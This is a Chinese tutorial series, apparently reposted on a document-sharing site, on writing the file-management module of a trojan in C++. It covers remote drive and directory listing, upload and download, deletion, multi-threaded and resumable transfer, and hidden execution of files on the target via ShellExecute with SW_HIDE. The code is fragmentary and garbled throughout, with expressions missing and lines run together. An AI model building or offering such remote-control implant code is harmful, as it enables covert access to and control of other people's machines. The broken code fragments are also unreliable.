1、C+实现文件传输在木马中文件管理的重要性,是无需质疑的,对于文件的管理,做到并不难,但做好却也不易在我们编写一个功能完整的“文件木马”其实现效果如图所示。为了文章的完整性,我们将分为数篇来介绍,本文主要介绍程序的整体框架和界面实现,在以后的文章中将以此框架为基础实现详细的功能。实现:枚举磁盘,枚举目录,获取文件信息上传文件,下载文件,执行文件,创建目录,删除目录等传输控制结构要实现客户端与服务端的通信,设计一个合理的传输控制结构,会使后面的工作轻松很多,为了使代码易读首先对要使用的命令进行预定义其各个命令定义如下#define GetDriver 0x01 务端循环接受连接,并把连接交给线程处
2、理2.线程接受命令数据,并跟据命令ID将命令对像和SOCKET句柄传给处理函数3.函数执行指定功能,并返回执行结果对整体结构的描述,我们用伪代码表述如下main() /*初示化设置.*/while(true)if(client=accept(server,(sockaddr *)&clientaddr,&len).*/WSACleanup();服务端程序运行后循环接受连接,如果有新的连接就传递给新的线程处理,线程代码如下DWORD WINAPI SLisen(LPVOID lparam)SOCKET client=(SOCKET)lparam;COMMAND command;while(1)i
3、f(recv(client,(char*)&command,sizeof(command),0)=SOCKET_ERROR).*/线程式的功能是接受客户端的命令数据,并跟跟据命令ID 将命令对像传递给处理函数,由函数完成指定的功能以删除文件命令为例其函数格式如下DWORD DelFileProc (COMMAND command,SOCKET client)if(DeleteFile(char*)=0).);elsesend(client,删除成功.);很容易看出,处理函数接受命令对像和客户端SOCKET句柄,执行后会把结果传递回去.客户端结构客户端结构的实现思路如下1.跟服务端建立连接2.发
4、送用户命令3.启动一个线程,用于接受服务端的返回信息对整体结构的描述,我们用伪代码表述如下void CMyDlg:OnConnect()if(connect(server,(SOCKADDR*)&serveraddr,sizeof(serveraddr)0).return ;CreateThread(NULL,NULL,CLisen,this,NULL,NULL);界面实现程序的主界面如上图所示,主程序是一个对话框,主要包括一个树控件m_tree和列表控件m_list分别用于显示磁盘目录和文件,在对话框初示化时用以下代码设置树控件的属性DWORD dwStyle = GetWindowLong
5、,GWL_STYLE);dwStyle |=TVS_HASBUTTONS | TVS_HASLINES | TVS_LINESATROOT;SetWindowLong,GWL_STYLE,dwStyle);对于列表框控件则没有太多要求,要留意的是,如果显示图标应该把Styles显示属性设置为ICONVC的做出的界面,常常让人有种摔键盘的冲动。其实稍微留意一下其设置,也可以让它漂亮一些比如上图所示的界面就是经过简单设置得到的,而没有用其它类库,有点兴趣?其设置方法为:1.在对话框属性中设置Styles 的Border属性为Thin2.选重More Styles 可见 属性3.选重Extended
6、 Styles的静态边属性这样再运行一下程序是不是感觉清新不少?到这里程序的主要结构框架和界面实现就介绍完了,下一篇将详细介绍其各种功能的实现c+实现文件传输之二在上一篇中,我们以经介绍了程序的流程和框架,在本篇将详细讨论各个功能的实现主要包括1.获取磁盘信息2.获取目录信息3.获取文件信息4.运行指定文件5.删除指定文件6.删除指定目录7.创建指定目录8.上传下载文件9.获取远程文件图标获取磁盘信息磁盘信息可以用API GetDriveType来实现,它以路径名作为参数(如C:/)返回磁盘类型,其实例代码如下DWORD GetDriverProc(COMMAND command,SOCKET
7、 client)for(char i=A;i=Z;i+)char x20=i,:;UINT Type=GetDriveType(x);if(Type=DRIVE_FIXED|Type=DRIVE_REMOVABLE|Type=DRIVE_CDROM)/*返回处理结果.*/return 0;GetDriveType可能返回的结果如下#define DRIVE_UNKNOWN 0 );ockBuffer(); .*/elseif(GetFileAttributes(char*)&FILE_ATTRIBUTE_READONLY)/*只读文件.*/send(client,(char*)&fi,size
8、of(fi),0);FindClose(hFile);return 0;运行指定文件运行文件 有以下几种方法 这里使用的是ShellExecute其实例代码如下DWORD ExecFileProc (COMMAND command,SOCKET client)/*command为要运行的文件路径如(C:/client为返回结果的SOCKET句柄*/COMMAND cmd;memset(char*)&cmd,0,sizeof(cmd);=ExecFile;if(ShellExecute(NULL,open,(char*),NULL,NULL,SW_HIDE)(HINSTANCE)32)strcp
9、y(char*),文件执行失败!);send(client,(char*)&cmd,sizeof(cmd),0);elsestrcpy(char*),文件执行成功!);send(client,(char*)&cmd,sizeof(cmd),0);return 0;API函数ShellExecute原形为:HINSTANCE ShellExecute( HWND hwnd, ,DirName);BOOL IsFinded=(BOOL)(tempFileFind);while(IsFinded) IsFinded=(BOOL)(); if(!() char foundFileName200; st
10、rcpy(foundFileName,().GetBuffer(200); if() char tempDir200; sprintf(tempDir,%s.创建目录实例代码如下:DWORD CreateDirProc (COMMAND command,SOCKET client)/*command为要创建目录的路径如(C:/)client为返回结果的SOCKET句柄*/COMMAND cmd;memset(char*)&cmd,0,sizeof(cmd);=CreateDir;if(:CreateDirectory(char*),NULL)strcpy(char*),创建目录成功!);sen
11、d(client,(char*)&cmd,sizeof(cmd),0);elsestrcpy(char*),创建目录失败!可能有重名文件或文件夹);send(client,(char*)&cmd,sizeof(cmd),0);return 0;在创建目录时应该注意几点,首先创始目录的上层目录必须是存在的,比如想创建C:/DIR1/DIR2目录,要求DIR1是必须存在,用CreateDirectory并不能创建多级目录.再者不可以存在和要创建目录同名的目录和文件因为在磁盘上目录和文件的存放格式是相同的,惟一不同的是目录的属性与文件属性不同(FILE_ATTRIBUTE_DIRECTORY属性),
12、所在即使有同名文件也会创始失败上传下载文件上传下载是是文件管理的重点所在,在这里按文件的大小,分两种情况讨论文件的传输方法小文件的传输相对比较简单可按以下方法进行1.首先发送文件长度和名称2.跟据文件长度建立缓冲区3.读取整个文件到缓冲区4.发送缓冲区里的内容其实现代码如下:CFile file;FILEINFO fileinfo;if(path,CFile:modeRead|CFile:typeBinary)=(); 面的方法就会力不从心了因为按思路要创建一个跟文件大小相同的缓冲区,显然这是不太现实的,我们就得采用另种方法了,在这里我们使用分块文件传输,所谓分块是指把大文件分成若干小文件,然
13、后传输,比如设定每块大小为64KB其思路如下1.取得文件长度和名称2.跟据长度/64KB计算文件块数3.分配64KB缓冲区4.读文件到缓冲区5.发送缓冲的数据6.重复4,5两步直到发完所有数据其实现代码如下:#define CHUNK_SIZE (64*1024) .我们可以通过如下变通方法得到:就是跟据文件的扩展名,从本地注册表中查找对应的程序图标不过这也有它的缺点对于EXE文件它只能显示一个可执行文件的图示,而且只能显示注册过的图示比如,如果本机装有WINRAR那么就可以识别.RAR的文件图示,否则就无法识别.实现方法CImageList m_ImageList;(32,32,ILC_CO
14、LOR32,10,30); .c+实现文件传输之三:断点续传与多线程传输转继木马编程DIY的上两篇,现在我们开始讨论断点续传与多线程文件传输的实现.其实这两项功能是下载软件所必不可少的功能了,现在我们把它加到自己的木马中来感受感受.提到多线程下载,首先向网络蚂蚁的作者洪以容前辈致敬,正是由于网络蚂蚁而使得多线程下载被关注并流行起来.在这本篇文章中我们将简单的实现支持断点续传和多线程传输的程序.为了更清晰的说明问题,我们将断点续传与多线程传输分别用两个程序来实现多线程传输实现实现原理将源文件按长度为分为N块文件,然后开辟N个线程,每个线程传输一块,最后合并所有线线程文件.比如一个文件500M我们
15、按长度可以分5个线程传输.第一线程从0-100M,第二线程从100M-200M.最后合并5个线程文件.实现流程1.客户端向服务端请求文件信息(名称,长度)2.客户端跟据文件长度开辟N个线程连接服务端3.服务端开辟新的线程与客户端通信并传输文件4.客户端将每线程数据保存到一个文件5.合并所有线程文件编码实现大体说来就是按以上步骤进行,详细的实现和一些要点,我们跟据以上流程在编码中实现结构定义在通信过程中需要传递的信息包括文件名称,文件长度,文件偏移,操作指令等信息,为了方便操作我们定义如下结构代码:typedef struct char Name100; 求文件信息客户端代码如下代码: FILE
16、INFO fi; memset(char*)&fi,0,sizeof(fi); =1; 里使用临界区其文件信息函数GetInfoProc代码如下代码:DWORD GetInfoProc(SOCKET client) CFile file; if(FileName,CFile:modeRead|CFile:typeBinary) int FileLen=(); if(send(client,(char*)&FileLen,sizeof(FileLen),0)=SOCKET_ERROR) cout Send FileLen Error/n; else cout The Filelen is Fil
17、eLen/n/n; return 0;这里主要是向客户端传递文件长度,而客户端收到长度后则开辟线程进行连接传输文件2.客户端跟据长度开辟线程其实现代码如下代码: FILEINFO FI; int FileLen=0; if(recv(client,(char*)&FileLen,sizeof(FileLen),0)=SOCKET_ERROR)务端开辟线程传输数据在1.请求文件信息中以说明了服务端的结构,这里主要介绍线程函数的实现,其代码如下代码:DWORD WINAPI GetFileProc(LPVOID lparam) EnterCriticalSection(&CS); 4.客户端将线程
18、数据保存到文件GetFileThread的实现代码如下代码:DWORD WINAPI GetFileThread(LPVOID lparam) char TempNameMAX_PATH; sprintf(TempName,TempFile%d,*(DWORD*)lparam); 样整个过程就完成了.最后一步合并线程文件5.合并线程文件代码:int UniteFile() ./n; int len; char *date; CFile file; CFile file0; /*其它文件.*/ if(FileName,CFile:modeCreate|CFile:typeBinary|CFile
19、:modeWrite).*/ (); (); /*.*/ delete date; return true; else return false; 这个简单,就是打开一个文件读取到缓冲区,写入文件,再打开第二个.现在多线程传输部分就介绍完了下面讨论断断点续传的实现c+实现文件传输之四:断点传输所谓的断点续传就是指:文件在传输过程式中被中断后,在重新传输时,可以从上次的断点处开始传输,这样就可节省时间,和其它资源.实现关键在这里有两个关键点,其一是检测本地已经下载的文件长度和断点值,其二是在服务端调整文件指针到断点处实现方法我们用一个简单的方法来实现断点续传的功能.在传输文件的时候创建一个临时文
20、件用来存放文件的断点位置在每次发送接受文件时,先检查有没有临时文件,如果有的话就从临时文件中读取断点值,并把文件指针移动到断点位置开始传输,这样便可以做到断点续传了实现流程首次传输其流程如下1.服务端向客户端传递文件名称和文件长度2.跟据文件长度计算文件块数(文件分块传输请参照第二篇文章)3.客户端将传输的块数写入临时文件(做为断点值)4.若文件传输成功则删除临时文件首次传输失败后将按以下流程进行1.客户端从临时文件读取断点值并发送给服务端2.服务端与客户端将文件指针移至断点处3.从断点处传输文件编码实现因为程序代码并不复杂,且注释也比较详细,这里就给出完整的实现其服务端实现代码如下代码:in
21、t _tmain(int argc, TCHAR* argv, TCHAR* envp) cout/t/t服务端-断点续传/t 作者:冷风/n/n请输入被下载的文件路径 如 /n/nFilePath; /*这部分为网络参数与设置,详细请参照源代码.*/ while(true) if(client=accept(server,(sockaddr *)&clientaddr,&len) couthave one connect/n; int nCurrentPos=0;.*/ if(connect(client,(SOCKADDR*)&serveraddr,sizeof(serveraddr)=INVALID_SOCKET) coutConnect Server Error; return 0; int FileLen=0; int nCurrentPos=0; 实现代码比较简单结合上面的流程介绍看代码应该没什么难度,所以我也就不画蛇添足了.
copyright@ 2008-2022 冰豆网网站版权所有
经营许可证编号:鄂ICP备2022015515号-1